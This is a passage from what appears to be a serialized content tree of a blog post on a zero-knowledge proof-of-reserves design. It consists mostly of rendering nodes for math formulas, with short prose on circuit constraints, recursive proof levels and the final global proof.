pe":24,"tag":327,"props":102132,"children":102134},{"className":102133},[3032],[102135],{"type":24,"tag":327,"props":102136,"children":102138},{"className":102137},[3037,3038],[102139,102169],{"type":24,"tag":327,"props":102140,"children":102142},{"className":102141},[3043],[102143,102164],{"type":24,"tag":327,"props":102144,"children":102146},{"className":102145,"style":100303},[3048],[102147],{"type":24,"tag":327,"props":102148,"children":102150},{"style":102149},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[102151,102155],{"type":24,"tag":327,"props":102152,"children":102154},{"className":102153,"style":3059},[3058],[],{"type":24,"tag":327,"props":102156,"children":102158},{"className":102157},[3064,3065,3066,3067],[102159],{"type":24,"tag":327,"props":102160,"children":102162},{"className":102161},[2977,2978,3067],[102163],{"type":29,"value":11334},{"type":24,"tag":327,"props":102165,"children":102167},{"className":102166},[3150],[102168],{"type":29,"value":3153},{"type":24,"tag":327,"props":102170,"children":102172},{"className":102171},[3043],[102173],{"type":24,"tag":327,"props":102174,"children":102176},{"className":102175,"style":99857},[3048],[102177],{"type":24,"tag":327,"props":102178,"children":102179},{},[],{"type":24,"tag":327,"props":102181,"children":102183},{"className":102182},[2977],[102184],{"type":29,"value":66},{"type":24,"tag":327,"props":102186,"children":102188},{"className":102187},[2977,2978],[102189],{"type":29,"value":25},{"type":24,"tag":327,"props":102191,"children":102193},{"className":102192},[2977,2978],[102194],{"type":29,"value":100033},{"type":24,"tag":327,"props":102196,"children":102198},{"className":102197},[2977,2978],[102199],{"type":29,"value":10828},{"type":24,"tag":327,"props":102201,"children":102203},{"className":102202,"style":99786},[2977,2978],[102204],{"type":29,"value":99789},{"type":24,"tag":327,"props":102206,"children":102208},{"className":102207},[2977,2978],[102209],{"type":29,"value":11334},{"type":24,"tag":327,"props":102211,"children":102213},{"className":102212},[2977,2978],[102214],{"type":29,"value":320},{"type":24,"tag":327,"props":102216,"children":102218},{"className":102217,"style":99774},[2977],[102219],{"type":29,"value":10692},{"type":24,"tag":327,"props":102221,"children":102223},{"className":102222},[2977,2978],[102224],{"type":29,"value":102225},"in",{"type":24,"tag":327,"props":102227,"children":102229},{"className":102228},[2977,2978],[102230],{"type":29,"value":25},{"type":24,"tag":327,"props":102232,"children":102234},{"className":102233},[2977,2978],[102235],{"type":29,"value":100033},{"type":24,"tag":327,"props":102237,"children":102239},{"className":102238},[2977,2978],[102240],{"type":29,"value":3134},{"type":24,"tag":327,"props":102242,"children":102244},{"className":102243},[2977],[102245],{"type":29,"value":66},{"type":24,"tag":327,"props":102247,"children":102249},{"className":102248},[2977,2978],[102250],{"type":29,"value":57},{"type":24,"tag":327,"props":102252,"children":102254},{"className":102253},[2977,2978],[102255],{"type":29,"value":99765},{"type":24,"tag":327,"props":102257,"children":102259},{"className":102258},[2977,2978],[102260],{"type":29,"value":3134},{"type":24,"tag":327,"props":102262,"children":102264},{"className":102263,"style":99774},[2977],[102265],{"type":29,"value":10692},{"type":24,"tag":327,"props":102267,"children":102269},{"className":102268},[2977,2978],[102270],{"type":29,"value":99782},{"type":24,"tag":327,"props":102272,"children":102274},{"className":102273,"style":99786},[2977,2978],[102275],{"type":29,"value":99789},{"type":24,"tag":327,"props":102277,"children":102279},{"className":102278},[2977,2978],[102280],{"type":29,"value":99795},{"type":24,"tag":327,"props":102282,"children":102284},{"className":102283},[2977,2978],[102285],{"type":29,"value":100604},{"type":24,"tag":327,"props":102287,"children":102289},{"className":102288},[3121],[102290],{"type":29,"value":11329},{"type":24,"tag":327,"props":102292,"children":102294},{"className":102293},[2977,2978],[102295],{"type":29,"value":57},{"type":24,"tag":327,"props":102297,"children":102299},{"className":102298},[2977,2978],[102300],{"type":29,"value":99765},{"type":24,"tag":327,"props":102302,"children":102304},{"className":102303},[2977,2978],[102305],{"type":29,"value":3134},{"type":24,"tag":327,"props":102307,"children":102309},{"className":102308,"style":99774},[2977],[102310],{"type":29,"value":10692},{"type":24,"tag":327,"props":102312,"children":102314},{"className":102313},[2977,2978],[102315],{"type":29,"value":63125},{"type":24,"tag":327,"props":102317,"children":102319},{"className":102318},[2977,2978],[102320],{"type":29,"value":100033},{"type":24,"tag":327,"props":102322,"children":102324},{"className":102323},[2977,2978],[102325],{"type":29,"value":57854},{"type":24,"tag":327,"props":102327,"children":102329},{"className":102328},[3143],[102330],{"type":29,"value":22934},{"type":29,"value":14024},{"type":24,"tag":188,"props":102333,"children":102334},{},[102335],{"type":29,"value":101164},{"type":24,"tag":179,"props":102337,"children":102338},{},[102339],{"type":24,"tag":284,"props":102340,"children":102342},{"className":102341},[2949,2950],[102343],{"type":24,"tag":327,"props":102344,"children":102346},{"className":102345},[2955],[102347],{"type":24,"tag":327,"props":102348,"children":102350},{"className":102349,"ariaHidden":2961},[2960],[102351,102457],{"type":24,"tag":327,"props":102352,"children":102354},{"className":102353},[2966],[102355,102359,102364,102369,102374,102379,102384,102389,102394,102399,102404,102409,102414,102419,102424,102429,102434,102439,102444,102448,102453],{"type":24,"tag":327,"props":102356,"children":102358},{"className":102357,"style":99716},[2971],[],{"type":24,"tag":327,"props":102360,"children":102362},{"className":102361},[2977,2978],[102363],{"type":29,"value":57},{"type":24,"tag":327,"props":102365,"children":102367},{"className":102366},[2977,2978],[102368],{"type":29,"value":99765},{"type":24,"tag":327,"props":102370,"children":102372},{"className":102371},[2977,2978],[102373],{"type":29,"value":3134},{"type":24,"tag":327,"props":102375,"children":102377},{"className":102376,"style":99774},[2977],[102378],{"type":29,"value":10692},{"type":24,"tag":327,"props":102380,"children":102382},{"className":102381},[2977,2978],[102383],{"type":29,"value":25},{"type":24,"tag":327,"props":102385,"children":102387},{"className":102386,"style":99774},[2977,2978],[102388],{"type":29,"value":100593},{"type":24,"tag":327,"props":102390,"children":102392},{"className":102391},[2977,2978],[102393],{"type":29,"value":11334},{"type":24,"tag":327,"props":102395,"children":102397},{"className":102396},[2977,2978],[102398],{"type":29,"value":99801},{"type":24,"tag":327,"props":102400,"children":102402},{"className":102401},[3121],[102403],{"type":29,"value":11329},{"type":24,"tag":327,"props":102405,"children":102407},{"className":102406},[2977,2978],[102408],{"type":29,"value":57},{"type":24,"tag":327,"props":102410,"children":102412},{"className":102411},[2977,2978],[102413],{"type":29,"value":99765},{"type":24,"tag":327,"props":102415,"children":102417},{"className":102416},[2977,2978],[102418],{"type":29,"value":3134},{"type":24,"tag":327,"props":102420,"children":102422},{"className":102421,"style":99774},[2977],[102423],{"type":29,"value":10692},{"type":24,"tag":327,"props":102425,"children":102427},{"className":102426},[2977,2978],[102428],{"type":29,"value":63125},{"type":24,"tag":327,"props":102430,"children":102432},{"className":102431},[2977,2978],[102433],{"type":29,"value":100033},{"type":24,"tag":327,"props":102435,"children":102437},{"className":102436},[2977,2978],[102438],{"type":29,"value":57854},{"type":24,"tag":327,"props":102440,"children":102442},{"className":102441},[3143],[102443],{"type":29,"value":22934},{"type":24,"tag":327,"props":102445,"children":102447},{"className":102446,"style":2993},[2992],[],{"type":24,"tag":327,"props":102449,"children":102451},{"className":102450},[2998],[102452],{"type":29,"value":642},{"type":24,"tag":327,"props":102454,"children":102456},{"className":102455,"style":2993},[2992],[],{"type":24,"tag":327,"props":102458,"children":102460},{"className":102459},[2966],[102461,102465,102470,102475,102480,102485,102490,102547,102552,102557,102562,102567,102572,102577,102582,102587,102592,102597,102602,102607,102612,102617,102622,102627,102632,102637,102642,102647,102652,102657,102662],{"type":24,"tag":327,"props":102462,"children":102464},{"className":102463,"style":99716},[2971],[],{"type":24,"tag":327,"props":102466,"children":102468},{"className":102467},[2977,2978],[102469],{"type":29,"value":18198},{"type":24,"tag":327,"props":102471,"children":102473},{"className":102472},[2977,2978],[102474],{"type":29,"value":100033},{"type":24,"tag":327,"props":102476,"children":102478},{"className":102477},[2977,2978],[102479],{"type":29,"value":10828},{"type":24,"tag":327,"props":102481,"children":102483},{"className":102482},[2977,2978],[102484],{"type":29,"value":25},{"type":24,"tag":327,"props":102486,"children":102488},{"className":102487},[2977,2978],[102489],{"type":29,"value":102120},{"type":24,"tag":327,"props":102491,"children":102493},{"className":102492},[2977],[102494,102499],{"type":24,"tag":327,"props":102495,"children":102497},{"className":102496,"style":102128},[2977,2978],[102498],{"type":29,"value":39796},{"type":24,"tag":327,"props":102500,"children":102502},{"className":102501},[3032],[102503],{"type":24,"tag":327,"props":102504,"children":102506},{"className":102505},[3037,3038],[102507,102536],{"type":24,"tag":327,"props":102508,"children":102510},{"className":102509},[3043],[102511,102531],{"type":24,"tag":327,"props":102512,"children":102514},{"className":102513,"style":100303},[3048],[102515],{"type":24,"tag":327,"props":102516,"children":102517},{"style":102149},[102518,102522],{"type":24,"tag":327,"props":102519,"children":102521},{"className":102520,"style":3059},[3058],[],{"type":24,"tag":327,"props":102523,"children":102525},{"className":102524},[3064,3065,3066,3067],[102526],{"type":24,"tag":327,"props":102527,"children":102529},{"className":102528},[2977,2978,3067],[102530],{"type":29,"value":11334},{"type":24,"tag":327,"props":102532,"children":102534},{"className":102533},[3150],[102535],{"type":29,"value":3153},{"type":24,"tag":327,"props":102537,"children":102539},{"className":102538},[3043],[102540],{"type":24,"tag":327,"props":102541,"children":102543},{"className":102542,"style":99857},[3048],[102544],{"type":24,"tag":327,"props":102545,"children":102546},{},[],{"type":24,"tag":327,"props":102548,"children":102550},{"className":102549},[2977],[102551],{"type":29,"value":66},{"type":24,"tag":327,"props":102553,"children":102555},{"className":102554},[2977,2978],[102556],{"type":29,"value":25},{"type":24,"tag":327,"props":102558,"children":102560},{"className":102559},[2977,2978],[102561],{"type":29,"value":100033},{"type":24,"tag":327,"props":102563,"children":102565},{"className":102564},[2977,2978],[102566],{"type":29,"value":10828},{"type":24,"tag":327,"props":102568,"children":102570},{"className":102569,"style":99786},[2977,2978],[102571],{"type":29,"value":99789},{"type":24,"tag":327,"props":102573,"children":102575},{"className":102574},[2977,2978],[102576],{"type":29,"value":11334},{"type":24,"tag":327,"props":102578,"children":102580},{"className":102579},[2977,2978],[102581],{"type":29,"value":320},{"type":24,"tag":327,"props":102583,"children":102585},{"className":102584,"style":99774},[2977],[102586],{"type":29,"value":10692},{"type":24,"tag":327,"props":102588,"children":102590},{"className":102589},[2977,2978],[102591],{"type":29,"value":102225},{"type":24,"tag":327,"props":102593,"children":102595},{"className":102594},[2977,2978],[102596],{"type":29,"value":25},{"type":24,"tag":327,"props":102598,"children":102600},{"className":102599},[2977,2978],[102601],{"type":29,"value":100033},{"type":24,"tag":327,"props":102603,"children":102605},{"className":102604},[2977,2978],[102606],{"type":29,"value":3134},{"type":24,"tag":327,"props":102608,"children":102610},{"className":102609},[2977],[102611],{"type":29,"value":66},{"type":24,"tag":327,"props":102613,"children":102615},{"className":102614},[2977,2978],[102616],{"type":29,"value":57},{"type":24,"tag":327,"props":102618,"children":102620},{"className":102619},[2977,2978],[102621],{"type":29,"value":99765},{"type":24,"tag":327,"props":102623,"children":102625},{"className":102624},[2977,2978],[102626],{"type":29,"value":3134},{"type":24,"tag":327,"props":102628,"children":102630},{"className":102629,"style":99774},[2977],[102631],{"type":29,"value":10692},{"type":24,"tag":327,"props":102633,"children":102635},{"className":102634},[2977,2978],[102636],{"type":29,"value":25},{"type":24,"tag":327,"props":102638,"children":102640},{"className":102639,"style":99774},[2977,2978],[102641],{"type":29,"value":100593},{"type":24,"tag":327,"props":102643,"children":102645},{"className":102644},[2977,2978],[102646],{"type":29,"value":11334},{"type":24,"tag":327,"props":102648,"children":102650},{"className":102649},[2977,2978],[102651],{"type":29,"value":100604},{"type":24,"tag":327,"props":102653,"children":102655},{"className":102654},[3121],[102656],{"type":29,"value":11329},{"type":24,"tag":327,"props":102658,"children":102660},{"className":102659},[2977],[102661],{"type":29,"value":2988},{"type":24,"tag":327,"props":102663,"children":102665},{"className":102664},[3143],[102666],{"type":29,"value":22934},{"type":24,"tag":179,"props":102668,"children":102669},{},[102670,103028,103029],{"type":24,"tag":284,"props":102671,"children":102673},{"className":102672},[2949,2950],[102674],{"type":24,"tag":327,"props":102675,"children":102677},{"className":102676},[2955],[102678],{"type":24,"tag":327,"props":102679,"children":102681},{"className":102680,"ariaHidden":2961},[2960],[102682,102788],{"type":24,"tag":327,"props":102683,"children":102685},{"className":102684},[2966],[102686,102690,102695,102700,102705,102710,102715,102720,102725,102730,102735,102740,102745,102750,102755,102760,102765,102770,102775,102779,102784],{"type":24,"tag":327,"props":102687,"children":102689},{"className":102688,"style":99716},[2971],[],{"type":24,"tag":327,"props":102691,"children":102693},{"className":102692},[2977,2978],[102694],{"type":29,"value":57},{"type":24,"tag":327,"props":102696,"children":102698},{"className":102697},[2977,2978],[102699],{"type":29,"value":99765},{"type":24,"tag":327,"props":102701,"children":102703},{"className":102702},[2977,2978],[102704],{"type":29,"value":3134},{"type":24,"tag":327,"props":102706,"children":102708},{"className":102707,"style":99774},[2977],[102709],{"type":29,"value":10692},{"type":24,"tag":327,"props":102711,"children":102713},{"className":102712},[2977,2978],[102714],{"type":29,"value":25},{"type":24,"tag":327,"props":102716,"children":102718},{"className":102717,"style":99774},[2977,2978],[102719],{"type":29,"value":100593},{"type":24,"tag":327,"props":102721,"children":102723},{"className":102722},[2977,2978],[102724],{"type":29,"value":11334},{"type":24,"tag":327,"props":102726,"children":102728},{"className":102727},[2977,2978],[102729],{"type":29,"value":99801},{"type":24,"tag":327,"props":102731,"children":102733},{"className":102732},[3121],[102734],{"type":29,"value":11329},{"type":24,"tag":327,"props":102736,"children":102738},{"className":102737},[2977,2978],[102739],{"type":29,"value":57},{"type":24,"tag":327,"props":102741,"children":102743},{"className":102742},[2977,2978],[102744],{"type":29,"value":99765},{"type":24,"tag":327,"props":102746,"children":102748},{"className":102747},[2977,2978],[102749],{"type":29,"value":3134},{"type":24,"tag":327,"props":102751,"children":102753},{"className":102752,"style":99774},[2977],[102754],{"type":29,"value":10692},{"type":24,"tag":327,"props":102756,"children":102758},{"className":102757},[2977,2978],[102759],{"type":29,"value":63125},{"type":24,"tag":327,"props":102761,"children":102763},{"className":102762},[2977,2978],[102764],{"type":29,"value":100033},{"type":24,"tag":327,"props":102766,"children":102768},{"className":102767},[2977,2978],[102769],{"type":29,"value":57854},{"type":24,"tag":327,"props":102771,"children":102773},{"className":102772},[3143],[102774],{"type":29,"value":22934},{"type":24,"tag":327,"props":102776,"children":102778},{"className":102777,"style":2993},[2992],[],{"type":24,"tag":327,"props":102780,"children":102782},{"className":102781},[2998],[102783],{"type":29,"value":642},{"type":24,"tag":327,"props":102785,"children":102787},{"className":102786,"style":2993},[2992],[],{"type":24,"tag":327,"props":102789,"children":102791},{"className":102790},[2966],[102792,102796,102801,102806,102811,102816,102821,102878,102883,102888,102893,102898,102903,102908,102913,102918,102923,102928,102933,102938,102943,102948,102953,102958,102963,102968,102973,102978,102983,102988,102993,102998,103003,103008,103013,103018,103023],{"type":24,"tag":327,"props":102793,"children":102795},{"className":102794,"style":99716},[2971],[],{"type":24,"tag":327,"props":102797,"children":102799},{"className":102798},[2977,2978],[102800],{"type":29,"value":18198},{"type":24,"tag":327,"props":102802,"children":102804},{"className":102803},[2977,2978],[102805],{"type":29,"value":100033},{"type":24,"tag":327,"props":102807,"children":102809},{"className":102808},[2977,2978],[102810],{"type":29,"value":10828},{"type":24,"tag":327,"props":102812,"children":102814},{"className":102813},[2977,2978],[102815],{"type":29,"value":25},{"type":24,"tag":327,"props":102817,"children":102819},{"className":102818},[2977,2978],[102820],{"type":29,"value":102120},{"type":24,"tag":327,"props":102822,"children":102824},{"className":102823},[2977],[102825,102830],{"type":24,"tag":327,"props":102826,"children":102828},{"className":102827,"style":102128},[2977,2978],[102829],{"type":29,"value":39796},{"type":24,"tag":327,"props":102831,"children":102833},{"className":102832},[3032],[102834],{"type":24,"tag":327,"props":102835,"children":102837},{"className":102836},[3037,3038],[102838,102867],{"type":24,"tag":327,"props":102839,"children":102841},{"className":102840},[3043],[102842,102862],{"type":24,"tag":327,"props":102843,"children":102845},{"className":102844,"style":100303},[3048],[102846],{"type":24,"tag":327,"props":102847,"children":102848},{"style":102149},[102849,102853],{"type":24,"tag":327,"props":102850,"children":102852},{"className":102851,"style":3059},[3058],[],{"type":24,"tag":327,"props":102854,"children":102856},{"className":102855},[3064,3065,3066,3067],[102857],{"type":24,"tag":327,"props":102858,"children":102860},{"className":102859},[2977,2978,3067],[102861],{"type":29,"value":11334},{"type":24,"tag":327,"props":102863,"children":102865},{"className":102864},[3150],[102866],{"type":29,"value":3153},{"type":24,"tag":327,"props":102868,"children":102870},{"className":102869},[3043],[102871],{"type":24,"tag":327,"props":102872,"children":102874},{"className":102873,"style":99857},[3048],[102875],{"type":24,"tag":327,"props":102876,"children":102877},{},[],{"type":24,"tag":327,"props":102879,"children":102881},{"className":102880},[2977],[102882],{"type":29,"value":66},{"type":24,"tag":327,"props":102884,"children":102886},{"className":102885},[2977,2978],[102887],{"type":29,"value":25},{"type":24,"tag":327,"props":102889,"children":102891},{"className":102890},[2977,2978],[102892],{"type":29,"value":100033},{"type":24,"tag":327,"props":102894,"children":102896},{"className":102895},[2977,2978],[102897],{"type":29,"value":10828},{"type":24,"tag":327,"props":102899,"children":102901},{"className":102900,"style":99786},[2977,2978],[102902],{"type":29,"value":99789},{"type":24,"tag":327,"props":102904,"children":102906},{"className":102905},[2977,2978],[102907],{"type":29,"value":11334},{"type":24,"tag":327,"props":102909,"children":102911},{"className":102910},[2977,2978],[102912],{"type":29,"value":320},{"type":24,"tag":327,"props":102914,"children":102916},{"className":102915,"style":99774},[2977],[102917],{"type":29,"value":10692},{"type":24,"tag":327,"props":102919,"children":102921},{"className":102920},[2977,2978],[102922],{"type":29,"value":102225},{"type":24,"tag":327,"props":102924,"children":102926},{"className":102925},[2977,2978],[102927],{"type":29,"value":25},{"type":24,"tag":327,"props":102929,"children":102931},{"className":102930},[2977,2978],[102932],{"type":29,"value":100033},{"type":24,"tag":327,"props":102934,"children":102936},{"className":102935},[2977,2978],[102937],{"type":29,"value":3134},{"type":24,"tag":327,"props":102939,"children":102941},{"className":102940},[2977],[102942],{"type":29,"value":66},{"type":24,"tag":327,"props":102944,"children":102946},{"className":102945},[2977,2978],[102947],{"type":29,"value":57},{"type":24,"tag":327,"props":102949,"children":102951},{"className":102950},[2977,2978],[102952],{"type":29,"value":99765},{"type":24,"tag":327,"props":102954,"children":102956},{"className":102955},[2977,2978],[102957],{"type":29,"value":3134},{"type":24,"tag":327,"props":102959,"children":102961},{"className":102960,"style":99774},[2977],[102962],{"type":29,"value":10692},{"type":24,"tag":327,"props":102964,"children":102966},{"className":102965},[2977,2978],[102967],{"type":29,"value":25},{"type":24,"tag":327,"props":102969,"children":102971},{"className":102970,"style":99774},[2977,2978],[102972],{"type":29,"value":100593},{"type":24,"tag":327,"props":102974,"children":102976},{"className":102975},[2977,2978],[102977],{"type":29,"value":11334},{"type":24,"tag":327,"props":102979,"children":102981},{"className":102980},[2977,2978],[102982],{"type":29,"value":100604},{"type":24,"tag":327,"props":102984,"children":102986},{"className":102985},[3121],[102987],{"type":29,"value":11329},{"type":24,"tag":327,"props":102989,"children":102991},{"className":102990},[2977,2978],[102992],{"type":29,"value":57},{"type":24,"tag":327,"props":102994,"children":102996},{"className":102995},[2977,2978],[102997],{"type":29,"value":99765},{"type":24,"tag":327,"props":102999,"children":103001},{"className":103000},[2977,2978],[103002],{"type":29,"value":3134},{"type":24,"tag":327,"props":103004,"children":103006},{"className":103005,"style":99774},[2977],[103007],{"type":29,"value":10692},{"type":24,"tag":327,"props":103009,"children":103011},{"className":103010},[2977,2978],[103012],{"type":29,"value":63125},{"type":24,"tag":327,"props":103014,"children":103016},{"className":103015},[2977,2978],[103017],{"type":29,"value":100033},{"type":24,"tag":327,"props":103019,"children":103021},{"className":103020},[2977,2978],[103022],{"type":29,"value":57854},{"type":24,"tag":327,"props":103024,"children":103026},{"className":103025},[3143],[103027],{"type":29,"value":22934},{"type":29,"value":14024},{"type":24,"tag":188,"props":103030,"children":103031},{},[103032],{"type":29,"value":103033},"(verifies if all asset prices are the same)",{"type":24,"tag":179,"props":103035,"children":103036},{},[103037,103416,103417],{"type":24,"tag":284,"props":103038,"children":103040},{"className":103039},[2949,2950],[103041],{"type":24,"tag":327,"props":103042,"children":103044},{"className":103043},[2955],[103045],{"type":24,"tag":327,"props":103046,"children":103048},{"className":103047,"ariaHidden":2961},[2960],[103049,103130],{"type":24,"tag":327,"props":103050,"children":103052},{"className":103051},[2966],[103053,103057,103062,103067,103072,103077,103082,103087,103092,103097,103102,103107,103112,103117,103121,103126],{"type":24,"tag":327,"props":103054,"children":103056},{"className":103055,"style":101187},[2971],[],{"type":24,"tag":327,"props":103058,"children":103060},{"className":103059},[2977,2978],[103061],{"type":29,"value":57854},{"type":24,"tag":327,"props":103063,"children":103065},{"className":103064,"style":99774},[2977,2978],[103066],{"type":29,"value":101199},{"type":24,"tag":327,"props":103068,"children":103070},{"className":103069,"style":101203},[2977,2978],[103071],{"type":29,"value":95411},{"type":24,"tag":327,"props":103073,"children":103075},{"className":103074,"style":99786},[2977,2978],[103076],{"type":29,"value":99789},{"type":24,"tag":327,"props":103078,"children":103080},{"className":103079},[2977,2978],[103081],{"type":29,"value":58175},{"type":24,"tag":327,"props":103083,"children":103085},{"className":103084,"style":99774},[2977],[103086],{"type":29,"value":10692},{"type":24,"tag":327,"props":103088,"children":103090},{"className":103089},[2977,2978],[103091],{"type":29,"value":3134},{"type":24,"tag":327,"props":103093,"children":103095},{"className":103094},[2977,2978],[103096],{"type":29,"value":101231},{"type":24,"tag":327,"props":103098,"children":103100},{"className":103099,"style":99774},[2977],[103101],{"type":29,"value":10692},{"type":24,"tag":327,"props":103103,"children":103105},{"className":103104},[2977,2978],[103106],{"type":29,"value":101242},{"type":24,"tag":327,"props":103108,"children":103110},{"className":103109},[2977,2978],[103111],{"type":29,"value":18198},{"type":24,"tag":327,"props":103113,"children":103115},{"className":103114},[2977,2978],[103116],{"type":29,"value":91072},{"type":24,"tag":327,"props":103118,"children":103120},{"className":103119,"style":2993},[2992],[],{"type":24,"tag":327,"props":103122,"children":103124},{"className":103123},[2998],[103125],{"type":29,"value":642},{"type":24,"tag":327,"props":103127,"children":103129},{"className":103128,"style":2993},[2992],[],{"type":24,"tag":327,"props":103131,"children":103133},{"className":103132},[2966],[103134,103138,103143,103148,103153,103158,103163,103168,103173,103178,103183,103240,103245,103249,103254,103259,103316,103321,103325,103330,103335,103339,103344,103349,103411],{"type":24,"tag":327,"props":103135,"children":103137},{"className":103136,"style":3685},[2971],[],{"type":24,"tag":327,"props":103139,"children":103141},{"className":103140,"style":2979},[2977,2978],[103142],{"type":29,"value":2982},{"type":24,"tag":327,"props":103144,"children":103146},{"className":103145},[2977,2978],[103147],{"type":29,"value":99728},{"type":24,"tag":327,"props":103149,"children":103151},{"className":103150},[2977,2978],[103152],{"type":29,"value":11334},{"type":24,"tag":327,"props":103154,"children":103156},{"className":103155},[2977,2978],[103157],{"type":29,"value":77289},{"type":24,"tag":327,"props":103159,"children":103161},{"className":103160},[2977,2978],[103162],{"type":29,"value":99744},{"type":24,"tag":327,"props":103164,"children":103166},{"className":103165},[2977,2978],[103167],{"type":29,"value":63125},{"type":24,"tag":327,"props":103169,"children":103171},{"className":103170},[3121],[103172],{"type":29,"value":349},{"type":24,"tag":327,"props":103174,"children":103176},{"className":103175},[2977,2978],[103177],{"type":29,"value":101242},{"type":24,"tag":327,"props":103179,"children":103181},{"className":103180},[2977,2978],[103182],{"type":29,"value":18198},{"type":24,"tag":327,"props":103184,"children":103186},{"className":103185},[2977],[103187,103192],{"type":24,"tag":327,"props":103188,"children":103190},{"className":103189},[2977,2978],[103191],{"type":29,"value":91072},{"type":24,"tag":327,"props":103193,"children":103195},{"className":103194},[3032],[103196],{"type":24,"tag":327,"props":103197,"children":103199},{"className":103198},[3037,3038],[103200,103229],{"type":24,"tag":327,"props":103201,"children":103203},{"className":103202},[3043],[103204,103224],{"type":24,"tag":327,"props":103205,"children":103207},{"className":103206,"style":99826},[3048],[103208],{"type":24,"tag":327,"props":103209,"children":103210},{"style":99830},[103211,103215],{"type":24,"tag":327,"props":103212,"children":103214},{"className":103213,"style":3059},[3058],[],{"type":24,"tag":327,"props":103216,"children":103218},{"className":103217},[3064,3065,3066,3067],[103219],{"type":24,"tag":327,"props":103220,"children":103222},{"className":103221},[2977,3067],[103223],{"type":29,"value":2988},{"type":24,"tag":327,"props":103225,"children":103227},{"className":103226},[3150],[103228],{"type":29,"value":3153},{"type":24,"tag":327,"props":103230,"children":103232},{"className":103231},[3043],[103233],{"type":24,"tag":327,"props":103234,"children":103236},{"className":103235,"style":99857},[3048],[103237],{"type":24,"tag":327,"props":103238,"children":103239},{},[],{"type":24,"tag":327,"props":103241,"children":103243},{"className":103242},[11695],[103244],{"type":29,"value":11698},{"type":24,"tag":327,"props":103246,"children":103248},{"className":103247,"style":3169},[2992],[],{"type":24,"tag":327,"props":103250,"children":103252},{"className":103251},[2977,2978],[103253],{"type":29,"value":101242},{"type":24,"tag":327,"props":103255,"children":103257},{"className":103256},[2977,2978],[103258],{"type":29,"value":18198},{"type":24,"tag":327,"props":103260,"children":103262},{"className":103261},[2977],[103263,103268],{"type":24,"tag":327,"props":103264,"children":103266},{"className":103265},[2977,2978],[103267],{"type":29,"value":91072},{"type":24,"tag":327,"props":103269,"children":103271},{"className":103270},[3032],[103272],{"type":24,"tag":327,"props":103273,"children":103275},{"className":103274},[3037,3038],[103276,103305],{"type":24,"tag":327,"props":103277,"children":103279},{"className":103278},[3043],[103280,103300],{"type":24,"tag":327,"props":103281,"children":103283},{"className":103282,"style":99826},[3048],[103284],{"type":24,"tag":327,"props":103285,"children":103286},{"style":99830},[103287,103291],{"type":24,"tag":327,"props":103288,"children":103290},{"className":103289,"style":3059},[3058],[],{"type":24,"tag":327,"props":103292,"children":103294},{"className":103293},[3064,3065,3066,3067],[103295],{"type":24,"tag":327,"props":103296,"children":103298},{"className":103297},[2977,3067],[103299],{"type":29,"value":3238},{"type":24,"tag":327,"props":103301,"children":103303},{"className":103302},[3150],[103304],{"type":29,"value":3153},{"type":24,"tag":327,"props":103306,"children":103308},{"className":103307},[3043],[103309],{"type":24,"tag":327,"props":103310,"children":103312},{"className":103311,"style":99857},[3048],[103313],{"type":24,"tag":327,"props":103314,"children":103315},{},[],{"type":24,"tag":327,"props":103317,"children":103319},{"className":103318},[11695],[103320],{"type":29,"value":11698},{"type":24,"tag":327,"props":103322,"children":103324},{"className":103323,"style":3169},[2992],[],{"type":24,"tag":327,"props":103326,"children":103328},{"className":103327},[2977],[103329],{"type":29,"value":1922},{"type":24,"tag":327,"props":103331,"children":103333},{"className":103332},[11695],[103334],{"type":29,"value":11698},{"type":24,"tag":327,"props":103336,"children":103338},{"className":103337,"style":3169},[2992],[],{"type":24,"tag":327,"props":103340,"children":103342},{"className":103341},[2977,2978],[103343],{"type":29,"value":101242},{"type":24,"tag":327,"props":103345,"children":103347},{"className":103346},[2977,2978],[103348],{"type":29,"value":18198},{"type":24,"tag":327,"props":103350,"children":103352},{"className":103351},[2977],[103353,103358],{"type":24,"tag":327,"props":103354,"children":103356},{"className":103355},[2977,2978],[103357],{"type":29,"value":91072},{"type":24,"tag":327,"props":103359,"children":103361},{"className":103360},[3032],[103362],{"type":24,"tag":327,"props":103363,"children":103365},{"className":103364},[3037,3038],[103366,103400],{"type":24,"tag":327,"props":103367,"children":103369},{"className":103368},[3043],[103370,103395],{"type":24,"tag":327,"props":103371,"children":103373},{"className":103372,"style":99826},[3048],[103374],{"type":24,"tag":327,"props":103375,"children":103376},{"style":99830},[103377,103381],{"type":24,"tag":327,"props":103378,"children":103380},{"className":103379,"style":3059},[3058],[],{"type":24,"tag":327,"props":103382,"children":103384},{"className":103383},[3064,3065,3066,3067],[103385],{"type":24,"tag":327,"props":103386,"children":103388},{"className":103387},[2977,3067],[103389],{"type":24,"tag":327,"props":103390,"children":103392},{"className":103391},[2977,3067],[103393],{"type":29,"value":103394},"31",{"type":24,"tag":327,"props":103396,"children":103398},{"className":103397},[3150],[103399],{"type":29,"value":3153},{"type":24,"tag":327,"props":103401,"children":103403},{"className":103402},[3043],[103404],{"type":24,"tag":327,"props":103405,"children":103407},{"className":103406,"style":99857},[3048],[103408],{"type":24,"tag":327,"props":103409,"children":103410},{},[],{"type":24,"tag":327,"props":103412,"children":103414},{"className":103413},[3143],[103415],{"type":29,"value":3146},{"type":29,"value":14024},{"type":24,"tag":188,"props":103418,"children":103419},{},[103420],{"type":29,"value":101562},{"type":24,"tag":179,"props":103422,"children":103423},{},[103424,103429,103430],{"type":24,"tag":42,"props":103425,"children":103426},{},[103427],{"type":29,"value":103428},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":14024},{"type":24,"tag":188,"props":103431,"children":103432},{},[103433],{"type":29,"value":101846},{"type":24,"tag":25,"props":103435,"children":103436},{},[103437],{"type":29,"value":103438},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":24,"tag":25,"props":103440,"children":103441},{},[103442],{"type":24,"tag":11511,"props":103443,"children":103445},{"alt":57299,"src":103444},"/posts/por/recursive-circuit.png",[],{"type":24,"tag":228,"props":103447,"children":103449},{"id":103448},"global-proof-and-inclusion-proofs",[103450],{"type":29,"value":103451},"Global Proof and Inclusion Proofs",{"type":24,"tag":235,"props":103453,"children":103454},{"id":16834},[103455],{"type":29,"value":103456},"Proving",{"type":24,"tag":25,"props":103458,"children":103459},{},[103460,103462,103468,103469,103475,103476,103482],{"type":29,"value":103461},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to 